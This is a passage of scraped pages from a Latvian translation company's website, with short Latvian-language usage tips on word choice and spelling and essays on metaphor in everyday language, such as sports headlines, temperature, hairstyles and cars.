aizpildīt zemāk norādīto pieteikuma formu Skrivanek Baltic ikmēneša jaunumiem. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties KVALITATĪVI RAKSTISKIE TULKOJUMI 110+ VALODĀS Piedāvājam kvalitatīvus rakstiskos tulkojumus nepieciešamajā valodu kombinācijā, garantējot konfidencialitāti un noteikto termiņu ievērošanu. Rakstiskie tulkojumi MUTISKIE TULKOJUMI 40+ VALODĀS Nodrošinām visa veida mutiskās tulkošanas pakalpojumus vairāk nekā 40 valodās un dažādās to kombinācijās. Mutiskie tulkojumi VALODU KURSI SIRDIJ UN KARJERAI Piedāvājam praktiskas valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī privātpersonām ar dažādiem valodas zināšanu līmeņiem. Valodu kursi AIZRAUJOŠAS NOMETNES BĒRNIEM UN JAUNIEŠIEM Mācību centra rīkotās nometnes ir lielisks veids, kā pavadīt skolas brīvlaiku visos gadalaikos, iegūstot jaunus draugus un praktiskas svešvalodu zināšanas. Nometnes --- > Mūsu e-pasta kastīti piesārņo mēstules, spams vai surogātpasts? Ieskaties un uzzini! Daudzi noderīgi latviešu valodas padomi vienuviet! - Published: 2018-04-16 - Modified: 2024-08-12 - URL: https://skrivanek.lv/mestule-pret-spams-pret-surogatpasts/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional MĒSTULE PRET SPAMS PRET SUROGĀTPASTS 1 Vai mūsu e-pasta kastīti piesārņo mēstules, spams vai surogātpasts? Elektroniskā pasta vēstuli, parasti nevēlamu, kas tiek izsūtīta masveidā ar mērķi reklamēt kādu preci vai pakalpojumu, latviešu sarunvalodā dēvē par spamu. Vārds aizgūts no angļu „spam”. Jau kopš 2003. gada latviešu valodā šādu vēstuļu apzīmēšanai pieņemts termins „surogātpasts”. Vārdi „surogātpasts” un „mēstule” ir sinonīmi, lai gan pēdējais tiek lietots krietni retāk. Tātad e-pastā negribēti saņemam mēstules jeb surogātpastu. Citi latviešu valodas padomi  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu Skrivanek Baltic ikmēneša jaunumiem. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties KVALITATĪVI RAKSTISKIE TULKOJUMI 110+ VALODĀS Piedāvājam kvalitatīvus rakstiskos tulkojumus nepieciešamajā valodu kombinācijā, garantējot konfidencialitāti un noteikto termiņu ievērošanu. Rakstiskie tulkojumi MUTISKIE TULKOJUMI 40+ VALODĀS Nodrošinām visa veida mutiskās tulkošanas pakalpojumus vairāk nekā 40 valodās un dažādās to kombinācijās. Mutiskie tulkojumi VALODU KURSI SIRDIJ UN KARJERAI Piedāvājam praktiskas valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī privātpersonām ar dažādiem valodas zināšanu līmeņiem. Valodu kursi AIZRAUJOŠAS NOMETNES BĒRNIEM UN JAUNIEŠIEM Mācību centra rīkotās nometnes ir lielisks veids, kā pavadīt skolas brīvlaiku visos gadalaikos, iegūstot jaunus draugus un praktiskas svešvalodu zināšanas. Nometnes --- > Vai Dalī gleznojumi ir sireāli vai sirreāli? Ieskaties un uzzini atbildi! Daudzi noderīgi latvieši valodas padomi vienuviet! - Published: 2018-04-16 - Modified: 2024-09-23 - URL: https://skrivanek.lv/sireals-pret-sirreals/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional SIREĀLS PRET SIRREĀLS 1 Vai Dalī gleznojumi ir sireāli vai sirreāli? Vārds „sirreālisms” aizgūts no franču vārda „surréalisme” ar nozīmi ‘pārreālisms’. Franču valodas priedēklim „sur-” šajā gadījumā atbilst latviešu valodas priedēklis „pār-“. Latviešu valodā vārdos „sirreālisms”, „sirreāls” vai „sirreālists” it kā saglabāts no franču valodas aizgūtais priedēklis, tāpēc šie vārdi rakstāmi ar diviem līdzskaņiem „r”. Tātad varam baudīt sirreālos gleznojumus vai sirreālu klusumu. Citi latviešu valodas padomi  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu Skrivanek Baltic ikmēneša jaunumiem. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties KVALITATĪVI RAKSTISKIE TULKOJUMI 110+ VALODĀS Piedāvājam kvalitatīvus rakstiskos tulkojumus nepieciešamajā valodu kombinācijā, garantējot konfidencialitāti un noteikto termiņu ievērošanu. Rakstiskie tulkojumi MUTISKIE TULKOJUMI 40+ VALODĀS Nodrošinām visa veida mutiskās tulkošanas pakalpojumus vairāk nekā 40 valodās un dažādās to kombinācijās. Mutiskie tulkojumi VALODU KURSI SIRDIJ UN KARJERAI Piedāvājam praktiskas valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī privātpersonām ar dažādiem valodas zināšanu līmeņiem. Valodu kursi AIZRAUJOŠAS NOMETNES BĒRNIEM UN JAUNIEŠIEM Mācību centra rīkotās nometnes ir lielisks veids, kā pavadīt skolas brīvlaiku visos gadalaikos, iegūstot jaunus draugus un praktiskas svešvalodu zināšanas. Nometnes --- > Vai pannā klāsim cepamo vai cepjamo papīru? Ieskaties un uzzini atbildi! Daudzi noderīgi latviešu valodas padomi vienuviet! - Published: 2018-04-16 - Modified: 2025-03-19 - URL: https://skrivanek.lv/cepamais-papirs-pret-cepjamais-papirs/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional CEPAMAIS PAPĪRS PRET CEPJAMAIS PAPĪRS 1 Vai pannā klāsim cepamo vai cepjamo papīru? Vārdkopā „cepamais papīrs” vārds „cepamais” ir lokāmais ciešamās kārtas tagadnes divdabis ar izskaņu „-ams”. Šo divdabi darina no tagadnes celma („cep-u”), tātad pareizi divdabis rakstāms „cepams” vai ar noteikto galotni: „cepamais”. Protams, varam lietot ne tikai vārdkopu „cepamais papīrs”, bet arī salikteni „cepampapīrs”. Tātad pannā ieklāsim cepamo papīru jeb cepampapīru un gatavosim gardumus! Citi latviešu valodas padomi  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu Skrivanek Baltic ikmēneša jaunumiem. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties KVALITATĪVI RAKSTISKIE TULKOJUMI 110+ VALODĀS Piedāvājam kvalitatīvus rakstiskos tulkojumus nepieciešamajā valodu kombinācijā, garantējot konfidencialitāti un noteikto termiņu ievērošanu. Rakstiskie tulkojumi MUTISKIE TULKOJUMI 40+ VALODĀS Nodrošinām visa veida mutiskās tulkošanas pakalpojumus vairāk nekā 40 valodās un dažādās to kombinācijās. Mutiskie tulkojumi VALODU KURSI SIRDIJ UN KARJERAI Piedāvājam praktiskas valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī privātpersonām ar dažādiem valodas zināšanu līmeņiem. Valodu kursi AIZRAUJOŠAS NOMETNES BĒRNIEM UN JAUNIEŠIEM Mācību centra rīkotās nometnes ir lielisks veids, kā pavadīt skolas brīvlaiku visos gadalaikos, iegūstot jaunus draugus un praktiskas svešvalodu zināšanas. Nometnes --- > Olimpisko spēļu laikā ziņu veidotāji mūs lutinājuši ar dažnedažādiem virsrakstiem, un viens no tiem arī iedvesmojis šī mēneša valodas pērlei. No kurienes uzvarētājs var izraut zeltu? - Published: 2018-03-15 - Modified: 2021-07-05 - URL: https://skrivanek.lv/raujam-zeltu/ - Kategorijas: valodas pērles - Translation Priorities: Optional RAUJAM ZELTU Lai gan olimpiskās spēles aiz muguras, olimpiskās kaislības, kā jau ierasts, droši vien vēl kādu laiku nerims. Tiesa, arī spēļu laikā ziņu veidotāji mūs lutinājuši ar dažnedažādiem virsrakstiem, un viens no tiem arī iedvesmojis šī mēneša valodas pērlei. No kurienes uzvarētājs var izraut zeltu? Sporta ziņas mūs allaž lutina ar dažnedažādām metaforām un pārnestas nozīmes vārdu lietojumu. Tas, ka ikkatras sacensības, ikkatra spēle tiek dēvēta par cīņu, jau ir gluži pierasts apzīmējums. Šīs cīņas nereti tiek dēvētas par dramatiskām, un atkarībā no rezultāta spēlētāji cits citu var šokēt, apbēdināt vai pārsteigt. Uzvarot spēlē, var triumfēt (pat sensacionāli triumfēt), var citus pieveikt, sakaut, pārspēt vai, piemēram, uzvarēt „sausā”. Tieši par medaļu gūšanu un uzvaru, šķiet, var izteikties sevišķi bagātīgi. Šajā olimpiādē medaļas sportistiem tikušas gan atnestas, gan – gluži pretēji – sportisti tās paņēmuši paši (reizēm traucējis treneris, kurš iepriekšējā naktī nosapņojis ko citu). Apbalvojumus starp sportistiem var arī sadalīt, savukārt, uzskatot olimpiskās spēles par ražas laiku, varam novākt medaļu ražu. Kāds cits guļ labāk, ja nav medaļnieku starpā. Kāda valsts var dominēt sacensībās, aizņemt visu pjedestālu vai veidot medaļu kolekciju, kurai atbilstoši pievienot zelta, sudraba vai bronzas medaļu jeb vienkārši – zeltu, sudrabu vai bronzu –, ar dārgmetāla nosaukumu vien apzīmējot konkrēto apbalvojumu. Izteiksmes īsināšanai un tēlainībai mēs iegūstam bronzu, izcīnām sudrabu vai šokējoši iegūstam zeltu. Katrās sacensībās ikkatra sekundes simtdaļa ir no svara, un pēdējie mirkļi ir izšķirošie. Tieši tā arī notiek cīnītāja izraušanās pašā pēdējā mirklī, ko vēlāk saucam par izrautu uzvaru vai olimpiskajās spēlēs – izrautu zeltu. Vasilijs Ragačevičs Skrivanek Baltic direktors K. Priedes ilustrācija CITAS VALODAS PĒRLES --- > Ar ko atšķiras „īrēt” un „nomāt”? Uzzini! Citi latviešu valodas padomi vienuviet! Noderīgi gan lietišķajā saziņā, gan sadzīvē. - Published: 2018-02-22 - Modified: 2024-08-14 - URL: https://skrivanek.lv/iret-pret-nomat/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional ĪRĒT PRET NOMĀT 1 Ar ko atšķiras vārda „īrēt” un „nomāt” lietojums? Kā īre, tā noma ir kādas lietas lietošanas tiesību piešķiršana par maksu. Nozīmes atšķirības vērojamas šīs lietas izmantojuma veidā. Ja telpu izmanto tikai dzīvošanai, slēdz īres līgumu ‒ dzīvokļa īre, mājas īre vai kāda cita priekšmeta īre. Ja telpu vai kādu citu priekšmetu izmanto komercdarbībai, slēdz nomas līgumu, piemēram, biroja telpu noma. Iepriekš minētais attiecināms arī uz nenoteiksmes formu „īrēt” un „nomāt”. Citi latviešu valodas padomi  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu Skrivanek Baltic ikmēneša jaunumiem. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties KVALITATĪVI RAKSTISKIE TULKOJUMI 110+ VALODĀS Piedāvājam kvalitatīvus rakstiskos tulkojumus nepieciešamajā valodu kombinācijā, garantējot konfidencialitāti un noteikto termiņu ievērošanu. Rakstiskie tulkojumi MUTISKIE TULKOJUMI 40+ VALODĀS Nodrošinām visa veida mutiskās tulkošanas pakalpojumus vairāk nekā 40 valodās un dažādās to kombinācijās. Mutiskie tulkojumi VALODU KURSI SIRDIJ UN KARJERAI Piedāvājam praktiskas valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī privātpersonām ar dažādiem valodas zināšanu līmeņiem. Valodu kursi AIZRAUJOŠAS NOMETNES BĒRNIEM UN JAUNIEŠIEM Mācību centra rīkotās nometnes ir lielisks veids, kā pavadīt skolas brīvlaiku visos gadalaikos, iegūstot jaunus draugus un praktiskas svešvalodu zināšanas. Nometnes --- > Vārdiem tāpēc un tādēļ ir vienāda nozīme? Uzzini atbildi! Citi latviešu valodas padomi vienuviet! Noderīgi gan lietišķajā saziņā, gan sadzīvē - Published: 2018-02-22 - Modified: 2024-08-09 - URL: https://skrivanek.lv/tapec-pret-tadel/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional TĀPĒC PRET TĀDĒĻ 1 Vai vārdiem „tāpēc” un „tādēļ” ir vienāda nozīme? Pēc leksiskās nozīmes šie apstākļa vārdi pieder dažādām grupām – „tāpēc” ir cēloņa apstākļa vārds, piemēram, „Šodien negāju uz darbu tāpēc, ka biju slims”. „Tādēļ” – nolūka apstākļa vārds, piemēram, „Viņš bija atnācis tikai tādēļ, lai kādu satiktu. ” Jāatceras, ka stila ziņā neviens no šiem vārdiem nav labāks par otru, tāpēc to lietošanas vienīgais kritērijs ir attiecīgā nozīmes nianse. Citi latviešu valodas padomi  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu Skrivanek Baltic ikmēneša jaunumiem. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties KVALITATĪVI RAKSTISKIE TULKOJUMI 110+ VALODĀS Piedāvājam kvalitatīvus rakstiskos tulkojumus nepieciešamajā valodu kombinācijā, garantējot konfidencialitāti un noteikto termiņu ievērošanu. Rakstiskie tulkojumi MUTISKIE TULKOJUMI 40+ VALODĀS Nodrošinām visa veida mutiskās tulkošanas pakalpojumus vairāk nekā 40 valodās un dažādās to kombinācijās. Mutiskie tulkojumi VALODU KURSI SIRDIJ UN KARJERAI Piedāvājam praktiskas valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī privātpersonām ar dažādiem valodas zināšanu līmeņiem. Valodu kursi AIZRAUJOŠAS NOMETNES BĒRNIEM UN JAUNIEŠIEM Mācību centra rīkotās nometnes ir lielisks veids, kā pavadīt skolas brīvlaiku visos gadalaikos, iegūstot jaunus draugus un praktiskas svešvalodu zināšanas. Nometnes --- > Ar ko atšķiras humāns no humanitārs? Uzzini atbildi! Citi latviešu valodas padomi vienuviet! Noderīgi gan lietišķajā saziņā, gan sadzīvē. - Published: 2018-02-22 - Modified: 2024-08-14 - URL: https://skrivanek.lv/humans-pret-humanitars/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional HUMĀNS PRET HUMANITĀRS 1 Ar ko atšķiras „humāns” no „humanitārs”? „Humāns” ir sinonīms vārdam cilvēcīgs, proti, tāds, kura attieksmē pret citiem cilvēkiem izpaužas atsaucība, sirsnība, cieņa. „Humanitārs” ir tāds, kas saistīts ar zinātnēm, kas pētī kultūru, valodu, vēsturi un ir šīm zinātnēm raksturīgs. Tātad ir „humānā palīdzība” un „humanitārās zinātnes”. Citi latviešu valodas padomi  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu Skrivanek Baltic ikmēneša jaunumiem. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties KVALITATĪVI RAKSTISKIE TULKOJUMI 110+ VALODĀS Piedāvājam kvalitatīvus rakstiskos tulkojumus nepieciešamajā valodu kombinācijā, garantējot konfidencialitāti un noteikto termiņu ievērošanu. Rakstiskie tulkojumi MUTISKIE TULKOJUMI 40+ VALODĀS Nodrošinām visa veida mutiskās tulkošanas pakalpojumus vairāk nekā 40 valodās un dažādās to kombinācijās. Mutiskie tulkojumi VALODU KURSI SIRDIJ UN KARJERAI Piedāvājam praktiskas valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī privātpersonām ar dažādiem valodas zināšanu līmeņiem. Valodu kursi AIZRAUJOŠAS NOMETNES BĒRNIEM UN JAUNIEŠIEM Mācību centra rīkotās nometnes ir lielisks veids, kā pavadīt skolas brīvlaiku visos gadalaikos, iegūstot jaunus draugus un praktiskas svešvalodu zināšanas. Nometnes --- > Ja temperatūra var uzlēkt līdz +6, varbūt tā var arī novelties līdz –6 grādiem? Lasi valodas pērles rakstu! - Published: 2018-02-15 - Modified: 2021-05-06 - URL: https://skrivanek.lv/temperaturas-olimpiskais-leciens/ - Kategorijas: valodas pērles - Birkas: citas valodas pērles - Translation Priorities: Optional TEMPERATŪRAS OLIMPISKAIS LĒCIENS Laikapstākļu un temperatūras izmaiņas mūsu zemē nav nekas neparasts – saule mijas ar mākoņiem, tveice ar salu, un lietu nomaina krusa. Ja temperatūra var uzlēkt līdz +6, varbūt tā var arī novelties līdz –6 grādiem? Termometrs ir mums labi zināma temperatūras mērierīce. Daudziem tas pielikts ārpusē pie loga, lai zinātu, kā saģērbties, ejot laukā. Ar termometru mērām arī savu ķermeņa temperatūru, sevišķi, ja jūtamies slikti. Nu jau klasiskos garenos termometrus biežāk nomaina vai nu ar apaļajiem bimetāliskajiem termometriem vai ar elektroniskajiem termometriem, kuros redzami vien cipari, nevis grādu skala. Tieši vertikālā skala nāk prātā, domājot par temperatūras izmaiņām – temperatūrai paaugstinoties, uz augšu pārvietojas jeb kāpj termometra stabiņš, savukārt, temperatūrai pazeminoties, termometra stabiņš pārvietojas uz leju jeb – kā ar aci redzam – krīt. Šādi, uz metaforiska nozīmes pārnesuma pamata arī veidojusies pārnestā nozīme: temperatūra kāpj vai krīt, ceļas vai noslīd, lai gan patiesībā slīdētājs ir stabiņš. Pēc tā, kā mēs redzam pasauli, mēdzam nosaukt arī izmaiņas: ūdens līmenis pazeminās jeb ūdens līmenis krīt, spiediens paaugstinās jeb spiediens kāpj utt. Lai gan zinātniskos novērojumos lietojam tiešu un nepārprotamu leksiku, ikdienas lietojumā valoda mums ļauj izteikties daudz tēlaināk, sulīgāk un varbūt pat dabiskāk. Tā kā rādījumu izmaiņas nenotiek lempīgi vai haotiski, krišanu vai kāpšanu arī tomēr nedēvējam par velšanos vai rāpšanos. Temperatūra, spiediens, kā arī ūdens, sekmju, dzīves un citi līmeņi var kāpt, lēkt, slīdēt vai krist. Galvenais, lai nekrīt barometri, termometri vai citas ierīces, kas mums ļauj novērot šīs parādības. Vasilijs Ragačevičs Skrivanek Baltic direktors K. Priedes ilustrācija CITAS VALODAS PĒRLES --- > Mums garšo čipsi vai čipši? Uzzini atbildi! Daudzi latviešu valodas padomi vienuviet! Noderīgi gan lietišķajā saziņā, gan sadzīvē. - Published: 2018-01-21 - Modified: 2024-08-06 - URL: https://skrivanek.lv/cipsi-pret-cipsi/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional ČIPSI PRET ČIPŠI 1 Vai mums garšo čipsi vai čipši? Vienskaitlī šis vārds ir „čipsis”, tātad formāli daudzskaitļa formā būtu līdzskaņa „j” noteiktā mija kā citos 2. deklinācijas lietvārdos: „osis – oši”, „trusis – truši”, „čipsis – čipši”. Tomēr šādā formā blakuszilbēs ir līdzskaņi „č” un „š”, tāpēc labskaņas dēļ pareizā forma ir „čipsi”. Tātad mums garšo čipsi. Citi latviešu valodas padomi  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu Skrivanek Baltic ikmēneša jaunumiem. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties KVALITATĪVI RAKSTISKIE TULKOJUMI 110+ VALODĀS Piedāvājam kvalitatīvus rakstiskos tulkojumus nepieciešamajā valodu kombinācijā, garantējot konfidencialitāti un noteikto termiņu ievērošanu. Rakstiskie tulkojumi MUTISKIE TULKOJUMI 40+ VALODĀS Nodrošinām visa veida mutiskās tulkošanas pakalpojumus vairāk nekā 40 valodās un dažādās to kombinācijās. Mutiskie tulkojumi VALODU KURSI SIRDIJ UN KARJERAI Piedāvājam praktiskas valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī privātpersonām ar dažādiem valodas zināšanu līmeņiem. Valodu kursi AIZRAUJOŠAS NOMETNES BĒRNIEM UN JAUNIEŠIEM Mācību centra rīkotās nometnes ir lielisks veids, kā pavadīt skolas brīvlaiku visos gadalaikos, iegūstot jaunus draugus un praktiskas svešvalodu zināšanas. Nometnes --- > Frizētavas pakalpojumu klāstā atrodam… ponija apgriešanu. Vai tiešām pilsētā tik bieži tiek piepildīts daudzu mazu prinču un princešu sapnis par poniju, un nu tie uz salonu nāks kopā ar mums? - Published: 2018-01-16 - Modified: 2021-05-06 - URL: https://skrivanek.lv/poniju-salons/ - Kategorijas: valodas pērles - Birkas: citas valodas pērles - Translation Priorities: Optional PONIJU SALONS Frizētavas pakalpojumu klāstā atrodam dienas vai vakara frizūras veidošanu, garu un īsu matu griešanu un... ponija apgriešanu. Vai tiešām pilsētā tik bieži tiek piepildīts daudzu mazu prinču un princešu sapnis par poniju, un nu tie uz salonu nāks kopā ar mums? Kaķu un suņu saimnieki, sevišķi pirms izstādēm, uz speciālajiem saloniem savus lutekļus veduši ne vienu reizi vien: izķemmēt kaķīti, apgriezt nadziņus sunītim un veikt citas skaistulim vajadzīgas procedūras. Bet vai ir saloni, kuros pēc pieraksta pieņem arī ponijus? Tā laikam nebūs vis. Protams, zirgi un poniji arī tiek glīti sakopti, taču viņiem noteikti nav jāstāv rindā kopā ar dāmām, kuras vēlas ielikt ilgviļņus vai saposties ballei. Vārdam „ponijs” ir divas nozīmes: pirmajā nozīmē tas ir zirgs, kas pieder pie senas dzīvnieku populācijas, kuras īpatņiem augums skaustā nav lielāks par 120 cm. Otrajā nozīmē ponijs apzīmē taisnu matu griezumu uz pieres. Žargonā to mēdzam saukt par čolku – vārds aizgūts no krievu valodas vārda „чёлка”: pamatnozīmē – ‘pieres krēpes (zirgam)’, un no tās radusies arī otrā – ‘mati uz pieres’. Šis griezums latviešu valodā tiek saukts par poniju, savukārt sakārtojumu, kurā gari mati nesavīti tiek cieši sasieti pakausī, saucam par zirgasti. Angļu valodā savukārt zirgaste ir „ponytail” – tulkojumā latviešu valodā: ‘ponijaste’. Ļoti lielu daļu pasaules mēs dēvējam vārdos, kas doti uz līdzības pamata, un bieži šīs līdzības esam saskatījuši dabā. Mums labi pazīstami jogas pozu nosaukumi: kaķis, koks, lotoss u. c. Tā arī skaistumkopšanas pasaulē līdzās neoficiālajiem un zobgalīgajiem (vārnas ligzda, zaru čupa) sastopami arī pavisam neitrāli dabas iedvesmoti apzīmējumi. Vasilijs Ragačevičs Skrivanek Baltic direktors K. Priedes ilustrācija CITAS VALODAS PĒRLES --- > Kāds portāls mūs nesen palutinājis ar krāšņi tērptu Latvijas slavenību fotogaleriju un spilgtu virsrakstu: „Stila gardēži pulcējas Rīgas modes nedēļas atklāšanā”. - Published: 2017-12-12 - Modified: 2021-07-05 - URL: https://skrivanek.lv/stiliga-garsa/ - Kategorijas: valodas pērles - Birkas: citas valodas pērles - Translation Priorities: Optional STILĪGĀ GARŠA Kāds portāls mūs nesen palutinājis ar krāšņi tērptu Latvijas slavenību fotogaleriju. Virsraksts arī visai spilgts: „Stila gardēži pulcējas Rīgas modes nedēļas atklāšanā”. Vai esat domājuši, kāda garša piemīt jūsu ģērbšanās stilam? Nē, mēs nerunāsim par šīssezonas žaketēm, kleitām vai zābakiem – šajā laukā lai rosās modes pasaules profesionāļi. Mūs kā allaž piesaistījusi valoda, un šoreiz – vārds „gardēži”. Ja paraugāmies latviešu valodas vārdnīcās, atrodam vienu nozīmi vien: gardēdis ir cilvēks, kam patīk ēst izmeklētus, izsmalcinātus ēdienus. Tātad gardēži būtu meklējami restorānā baudām rūpīgi izraudzītas vakariņas vai virtuvē gatavojam kādu smalku desertu. Mēs zinām, ka valoda mainās un attīstās: daži vārdi noveco vai kļūst par historismiem, tas ir, vārdiem, kuri nosauc priekšmetus, parādības vai procesus, kas no mūsu ikdienas ir zuduši, piemēram, mums vairs nav junkuru – muižas pārvaldnieku –, tāpēc šo vārdu saucam par historismu. Reizēm valodas lietotāji izvēlējušies citu vārdu, kas izstūmis iepriekšējo, kā, piemēram, vārds „pleci” aizstājis „kamieši”. Citkārt ap sākotnējo nozīmi izveidojas vesels nozīmju tīkls – par piemēru varam nosaukt tikko minēto vārdu „lauks”: pirmkārt, lauks ir ‘zemes platība, kas ir aizņemta ar vienu un to pašu vai dažu augu (parasti kultūraugu) kopu’, piemēram, kartupeļu lauks vai zemeņu lauks. Šī nozīme ir paplašinājusies – ar lauku saprotam gan vietu, kas ir ārpus telpām (iet laukā), gan lielāku platību, teritoriju, kurā kaut kas norisinās (kaujas lauks). Ejam vēl tālāk – lauks var būt ne vien teritorija, bet arī vide, kurā norisinās, piemēram, fizikāli procesi (gravitācijas lauks). Galu galā nonākam arī pie mūsu minētās nozīmes – lauks var būt arī darbības, interešu joma vai nozare: izglītības lauks, modes lauks. Protams, neba visas nozīmes kļūst patstāvīgas. Valoda nav iedomājama arī bez pārnestajām nozīmēm, kad nosaucam kaut ko netieši, tēlaini, uz līdzības pamata. Ļoti bieži pārnestā nozīmē lietojam apzīmētājus: saldais pārītis, rūgtā dzīve. Ar gardēžiem ir noticis līdzīgi – no izsmalcinātu ēdienu pazinēja gardēdis ir kļuvis arī par citu smalkumu zinātāju: tā radušies auto gardēži, literatūras gardēži un, kā redzams, arī stila un modes gardēži. Kā jums tīk, valodas gardēži? Vasilijs Ragačevičs Skrivanek Baltic direktors K. Priedes ilustrācija CITAS VALODAS PĒRLES --- > Automobilis nav tikai pārvietošanās līdzeklis: tas nereti kļūst par mūsu uzticamo biedru, draugu un teju vai ģimenes locekli. Vai tas var būt prasmīgs un vīrišķīgs? - Published: 2017-11-15 - Modified: 2021-05-06 - URL: https://skrivanek.lv/cik-prasmigs-ir-jusu-auto/ - Kategorijas: valodas pērles - Birkas: citas valodas pērles - Translation Priorities: Optional CIK PRASMĪGS IR JŪSU AUTO? Automobilis nav tikai pārvietošanās līdzeklis: tas nereti kļūst par mūsu uzticamo biedru, draugu un teju vai ģimenes locekli. Vai šāds biedrs var būt prasmīgs un vīrišķīgs? Ikdienā bieži lietotos priekšmetus un ierīces mēs mēdzam personificēt, proti, piešķirt tiem cilvēka īpašības. Telefonu, kas nepilda vajadzīgās funkcijas, saucam par nepaklausīgu vai muļķīgu (te arī vārdu spēles – viedtālrunis un muļķtālrunis). Plīti ar drošības aprīkojumu, kas to izslēdz, ja rodas bīstamības risks, saucam par apķērīgu vai pat gudru. Raidījumos un reklāmās dzirdam dažādus apzīmējumus: auto var būt ne tikai jaudīgi un skaisti, bet arī sportiski, eleganti, izsmalcināti un stilīgi. Vairāki izplatītāji sniedz automobiļiem vēl izteiksmīgākus apzīmējumus, lai mēs jau laikus iztēlē tiem piešķirtu konkrētus vaibstus. Spēkrata ārienei izmantojam veselu epitetu un metaforu plejādi. Auto var būt izteiksmīgas līnijas, sportiska stāja, tas var būt tik plašs kā dzīve. Netiek aizmirsts arī raksturs: automobilis var būt azartisks, inteliģents, un tam noteikti var piemist līdera dotības. Arī sievišķība vai vīrišķība var raksturot automobili: par sievišķīgiem parasti dēvē maza izmēra automobiļus ar kādiem elegantiem dizaina elementiem, savukārt par vīrišķīgiem – tos, ar kuriem iespējams braukt sarežģītos apstākļos, kuru bagāžniekā ir daudz vietas u. tml. Aprakstos automobiļu pazinēji un cienītāji izsakās tā, ka ir skaidrs – viņi uztver šo spēkratu dziļāko būtību un labprāt izvēlas runāt par tiem metaforās, nevis tikai sniegt sausu tehnisko parametru aprakstu. Par kādu šī gada pilnpiedziņas automobili lasām, ka tas ir kļuvis vīrišķīgāks un tam ir vairāk prasmju. Jā – vīrišķīgajam auto ir nevis funkcijas vai papildu iespējas, bet tieši 